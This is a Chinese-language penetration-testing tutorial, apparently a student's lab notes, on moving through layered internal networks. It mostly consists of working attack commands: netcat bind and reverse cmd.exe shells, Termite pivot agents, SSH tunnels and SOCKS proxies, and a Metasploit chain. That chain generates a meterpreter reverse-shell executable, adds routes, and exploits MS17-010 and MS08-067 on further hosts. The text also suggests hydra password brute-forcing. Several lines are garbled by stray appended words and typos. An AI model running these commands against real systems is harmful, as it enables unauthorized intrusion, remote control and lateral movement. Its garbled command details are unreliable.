03.msf縱向滲透多級網絡穿透

NC工具的使用
內網穿透工具termite
SSH代理使用
MSF穿越多級網絡
端口複用linux

PART 1: NC及穿透內網工具使用 本地要ngrok轉發才行web

Nc使用詳解
tcp監聽
nc能夠做爲server端啓動一個tcp的監聽,默認狀況下下面監聽的是一個tcp的端口
nc -l -p 9999
客戶端測試
一、在B機器上telnet A機器此端口,以下顯示錶示B機器能夠訪問A機器此端口
telnet 10.0.1.161 9999
二、B機器上也可使用nmap掃描A機器的此端口
nmap 10.0.1.161 -p9999
三、使用nc命令做爲客戶端工具進行端口探測
nc -vz -w 2 10.0.1.161 9999
(-v可視化,-z掃描時不發送數據,-w超時幾秒,後面跟數字)
服務端會自動關閉監聽。
四、nc能夠掃描連續端口,這個做用很是重要。經常能夠用來掃描服務器端口,而後給服務器安全加固
在客戶端B機器上掃描連續的兩個端口,以下
nc -vzw 2 10.0.1.161 9998-9999redis


Nc傳文件
方法1,先啓動接收命令
使用nc傳輸文件仍是比較方便的,由於不用scp和rsync那種輸入密碼的操做了
把A機器上的一個rpm文件發送到B機器上
需注意操做次序,receiver先偵聽端口,sender向receiver所在機器的該端口發送數據。
步驟1,先在B機器上啓動一個接收文件的監聽,格式以下
意思是把賴在9995端口接收到的數據都寫到file文件裏(這裏文件名隨意取)
格式:nc -l port >file
nc -l -p 9995 >zabbix.rpm
步驟2,在A機器上往B機器的9995端口發送數據,把下面rpm包發送過去
nc 10.0.1.162 9995 < zabbix-release-2.4-1.el6.noarch.rpm
方法2,先啓動發送命令
步驟1,先在B機器上,啓動發送文件命令
下面命令表示經過本地的9992端口發送test.mv文件
nc -l -p 9992 <test.mv
步驟2,A機器上鍊接B機器,取接收文件
下面命令表示經過鏈接B機器的9992端口接收文件,並把文件存到本目錄下,文件名爲test2.mv
nc 10.0.1.162 9992 >test2.mvshell

Nc反彈shell
方法一、REMOTE主機綁定SHELL
在公網監聽
nc -l -p 5354 -t -e c:\winnt\system32\cmd.exe
或者
nc -l -p 5555 -t -e cmd.exe
在內網主動創建鏈接
nc -nvv 192.168.153.138 5555
-t是經過telne模式執行 cmd.exe 程序,能夠省略。
講解:綁定REMOTE主機的CMDSHELL在REMOTE主機的TCP5354端口
方法二、REMOTE主機綁定SHELL並反向鏈接
在公網監聽
nc -lp 5555
在內網機器反彈
nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 5354
或者
nc -t -e cmd 192.168.153.140 5555
講解:綁定REMOTE主機的CMDSHELL並反向鏈接到192.168.x.x的TCP5354端口windows

---------------------------------------------------------------------------------
模擬:連接和掃描瀏覽器

NC能夠上傳文件,下載文件,shell,電子取證,也能夠創建鏈接聊天
還可掃端口 相似與nmap
NC屬於cs架構,客戶端,服務端
Linux也能夠鏈接windows
windows工具在內網安全nc裏
模擬:
把nc放進目標虛擬機
在把nc放進物理機安全

目標03機
是命令行的:nc.exe -l -p 12345 //-l是偵聽 -p是端口服務器

物理機nc
nc.exe 目標地址 目標所偵聽的端口
注意這種聊天是沒加密的,須要加密就得安裝安全套接層.ssh加密之類的網絡

端口掃描
物理機掃描虛擬機:
nc -vz -w 2 10.0.1.161 9999
nc -vzw 2 10.0.1.161 9998-9999架構

--------------
模擬上傳文件
客戶端傳服務端
目標機輸入:
格式:nc -l port >file
nc -l -p 9995 >zabbix.rpm //在目標機偵聽端口,接受物理機(vps)的文件並保存到zabbix.rpm格式,大於號表明接受文本保存格式

客戶機輸入
nc 10.0.1.162 9995 < zabbix-release-2.4-1.el6.noarch.rpm 小於號表明傳輸文件

服務端傳客戶端
目標機輸入
nc -l -p 9992 <test.mv

客戶機輸入
nc 10.0.1.162 9992 >test2.mv
若是客戶機偵聽,目標機來連接,客戶機啓動連接個人就會發送文件,那麼目標機防火牆就不會攔截
----------------------------------------------------------
如下是新的工具
PART 2: termite工具使用
工具在內網安全Termite
termite
程序地址, http://rootkiter.com/Termite/
一款極度小巧靈活的跳板機,有別於傳統socks代理,它對於複雜內網環境下的滲透適用性更強,操做也極爲簡便
程序分爲兩部分,admin[爲控制端]和agent[爲代理端節點],admin和agent全部選項用途均一致
-l 指定本地socks端口,等待遠程連
-c 指定遠程socks機器ip
-p 指定遠程socks機器端口

管理端叫admin
服務端爲agent
不一樣的系統服務端直接運行便可

win10物理機
03:橋接/vm1 169.254.38.181/192.168.25.129
win7:vm1/vm2 192.168.25.128/ 192.168.18.129
xp:vm2 192.168.18.128
把服務端agent_win32.exe放到桌面

test
1. 以服務模式啓動一個agent服務。
> $ ./agent -l 8888
2. 令管理端鏈接到agent並對agent進行管理。
> $ ./admin -c 127.0.0.1 -p 8888
3. 此時,admin端會獲得一個內置的shell, 輸入help指令能夠獲得幫助信息。
>> help
4. 經過show指令能夠獲得當前agent的拓撲狀況。
>> show
0M
+-- 1M
因爲當前拓撲中只有一個agent,因此展現結果只有 1M ,
其中1 爲節點的ID號,
M爲MacOS系統的簡寫,Linux爲L,Windows簡寫爲W。
5. 將新agent加入當前拓撲
> ./agent -c 127.0.0.1 -p 8888
6. 此時show指令將獲得以下效果
0M
+-- 1M
| +-- 2M
這代表,當前拓撲中有兩個節點,其中因爲2節點須要經過1節點才能訪問,因此下掛在1節點下方。

模擬:
03:橋接/vm1 路徑轉到桌面 agent_Win32.exe -l 6666 //偵聽上6666
win7:vm1/vm2 agent_Win32.exe -l 7777
xp:vm2 agent_Win32.exe -l 8888

第一步.物理機連接03 admin_win32.exe -c 169.254.38.181 -p 6666
第二步 show 查看會話
第三部 goto 1 //選擇連接03
第四部 connect 192.168.25.128 7777
第五步 goto 2
第六步 connect 192.168.18.128 8888
管理成功

能夠執行
socks代理
端口轉發
shll
上傳下載
show 查看會話,help幫助

上傳文件upfile d:\1.txt 1.txt

調用shell: shell 1188 會在我本地開個端口
在本地打開cmd:nc 127.0.0.1 1188 // 得藉助nc

linux有個工具叫proxychains
termite建立socks 1080
本地安裝prixychains驅動nmap掃描其餘內網,就會把個人流量轉發給xp
由xp來掃描整個網絡

端口轉發
lcxtran [lport] [rhost] [rport]
把xp的內網地址和3389轉發到我這裏1234端口
在用本地的stic鏈接本地的3389 就等於鏈接xp的3389

也能夠反向鏈接 xp鏈接win7 ,win7鏈接03 , 物理機連接03,前提win7 xp 03開啓偵聽和主動偵聽,能夠過防火牆

 

linux放進去服務端
chmod 777 agent_linux_i586
./agent_linux_i586 -l 1133
物理機正常連接linux便可


PART 3: SSH代理穿透內網
當前機器A,SSH服務端B,目標服務器C,他們三者之間的關係是A能夠SSH訪問到B,B能夠直接訪問C,要達到的效果就A經過SSH端口轉發直接訪問服務器C.
例如:A爲本身在家裏的電腦,B爲公司提供外網能夠SSH訪問的服務器B,C爲內網服務器.B能夠訪問內網中的服務器C. 經過如下命令能夠實現端口映射,經過SSH服務器將本地端口映射到服務器C對應的端口上,從而實如今本地A直接訪問C的目的.


ssh正向代理
在Client機器A執行以下命令:
ssh -L [本地IP可省略:][本地端口]:[服務器C地址]:[服務器C端口] [SSH服務器IP] -p [非默認端口22]
若是使用的是默認SSH端口22 ,則"-p 端口"不用輸入.
ssh -L 8001:10.0.0.1:8001 username@115.13.13.1 -p 22
ssh -L 8001:192.168.8.140:80 root@192.168.10.131
這樣在訪問本機的8001端口,經過SSH服務器B端口轉發後,實際訪問的就是服務器C的8001端口.

測試環境:
紅帽NAT/vm1 192.168.207.131/192.168.25.130
kali NAT
08 vm1 原地址 IP:192.168.199.128 網192.168.199.100 8.8.8.8 /// 192.168.25.131

目的用kali藉助紅帽訪問到08

kali:ssh -L 9002:192.168.25.131:9002 root@192.168.207.131
kali:ssh -L 9002:內網地址:9002 root@目標服務器地址
把08的9001網站經過紅帽的轉發到本身的9002上來.
瀏覽器120.0.0.1:9002測試是否聯通

實戰時候:VPS去連接目標服務器旗下的內網, 前提你得知道祕密就能作端口轉發了
--------------------------------------------------------------------

ssh反向代理
咱們把kali開啓80,把80端口映射給ssh服務器8001端口
kali:ssh -R 192.168.25.130:8001:127.0.0.1:80 root@192.168.207.131
把我本身的端口轉發到內網,讓紅帽和08服務器都能訪問vps的8001網站
-------

將Client的端口鏡像到SSH服務器上,全部能夠訪問SSH服務器的訪問SSH鏡像的端口時便是訪問Client的端口.

ssh -R [SSH服務器IP:][SSH服務器上端口]:[客戶端側IP或能訪問到的IP]:[客戶端側IP端口或能反問的IP的端口] 用戶名@SSH服務器IP -p SSH服務器端口

若是SSH服務器使用的爲默認22端口,則後面的"-p SSH服務器端口"不用輸入

ssh -R 192.168.0.107 81:127.0.0.1:80 username@192.168.0.107 -p 2200

------------------------------------------------------------------------------

ssh配置socket代理
socket代理 ssh服務器能夠訪問外網,能訪問google,facebook等站點,client能夠訪問ssh服務器可是不能訪問google,facebook.若是但願client經過ssh服務器代理訪問google,facebook經過如下命令能夠實現.
ssh -D 8081 username@SSH服務器IP -p SSH服務器端口
ssd -D 8081 root@192.168.0.107
本地瀏覽器上設置socket代理後,瀏覽器便可訪問google,facebook站點了.
或者可使用proxychain 來掃描socket代理的內網

若是我要用vpskali去掃描內網正常無法掃描
我在連你你ssh的同時在作一個socket代理,讓本身vps成爲socket服務器偵聽8081
在配置我vps的proxychain來掃描socket代理內網

① ssh -D 8081 root@192.168.207.131 服務器ip
netstat -thlp
③ vi /etc/proxychains.conf
socket4 改爲127.0.0.1 8081
用proxychain nmap 去驅動

--------------------------------------
環境設置kali橋接網絡 192.168.124.23
08兩個網卡一個直連一個vm1
07一個vm1
PART 4: MSF穿越多級網絡
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.124.23 lport=1122 -f exe > ff.exe //生成放到08web 08兩個網卡一個直連一個vm1

 

msfconsole
use exploit/multi/handler //創建偵聽
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.124.23
set rport 1122
run

回彈後拿到了08服務器的權限可是想進一步進入07

爲了使msf中模塊更好的掃描7.0網絡咱們給shell添加路由
run autoroute -s 192.168.25.0/24

而後開始掃描192.168.25.0網段,操做以下: //進行橫向
run post/windows/gather/arp_scanner RHOSTS=192.168.25.0/24
結果:
+] IP: 192.168.25.1 MAC 00:50:56:c0:00:01 (VMware, Inc.) 剛生成的路由
[+] IP: 192.168.25.128 MAC 00:0c:29:67:d4:79 (VMware, Inc.) 須要攻擊的地址
[+] IP: 192.168.25.131 MAC 00:0c:29:92:cf:9c (VMware, Inc 08的地址
+] IP: 192.168.25.255 MAC 00:0c:29:92:cf:9c (VMware, Inc.) 虛擬機網卡
[+] IP: 192.168.25.254 MAC 00:50:56:e9:db:cd (VMware, 虛擬機網卡
background

信息收集:
search portsan //信息收集模塊
use 調用5 用tcp掃描.
set rhosts 192.68.25.0/24 //掃描這個段
setg threads 50 //線程
run
結果:


若是要用nmap
search socks4代理
use 0 //調用
sessinos -l //準備用剛剛掛起的會話來創建cocks4
options
set srvhost 127.0.0.1 寫本身的
netstat -tnlp查看端口有沒有被佔用,佔用就換端口
run

vi /etc/proxychains.conf 把代理添加進去.127.0.0.1 1080 剛纔開的端口

proxychains nmap -sT -sV -Pn -n -p22,80,135,139,445 --script=smb-vuln-ms* 7.7.7.20
//掃描ms全部的漏洞

結果出來後
回到msf
search ms17-010
調用use 3
options
set rhosts 192.168.25.137

25.135
這裏要用 windows/meterpreter/bind_tcp //不能用rever反向 要用bind 正向
乘64
記住bind偵聽是他開偵聽我來連接他
成功獲取到shell
在ipconfig
發現又有新網段xp 30網段
就再次添加路由
run autoroute -s 192.168.30.0/24
再次掃描
run post/windows/gather/arp_scanner RHOSTS=192.168.25.0/24

再次用nmap
再次search socks4代理
此次要添加新的端口 1081
vi /etc/proxychains.conf 把代理添加進去.127.0.0.1 1081 剛纔開的端口 添加出兩個

proxychains nmap -sT -sV -Pn -n -p22,80,135,139,445 --script=smb-vuln-ms* 7.7.30.20
//掃描ms全部的漏洞
漏洞出現ms08-067

search ms08-067
use 0
options
set 192.168.30.128
set payload windows/meterpreter/bind_tcp
options 注意端口4444 不行就改改
set targets 查看攻擊的目標
xp sp3對應編號 34 set target 34
run


----------
橫向的理解
能夠藉助proxychains hydra -l 爆破密碼

橫向同一網段
nmap 掃漏洞
掃出80就搞網站提權
445 爆破漏洞利用
中間件 探測利用

msf模塊,嗅探密碼之類的


若是服務器開的網站,portfwd add -l 8001 192.168.20.128 -p 8001 轉到本地來
linux開了redis 127.0.0.1 就把目標轉發本地

PART 5: 端口複用
示例:要將最初瞄準端口TCP-80的傳入流量轉移到另外一個TCP端口,例如8080,請執行如下操做:

c:\> divertTCPconn 80 8080
3389 80

正常不行,這個工具用瀏覽器打開就是80用遠程鏈接80 就是3389內網安全****tcp文件

相關文章
相關標籤/搜索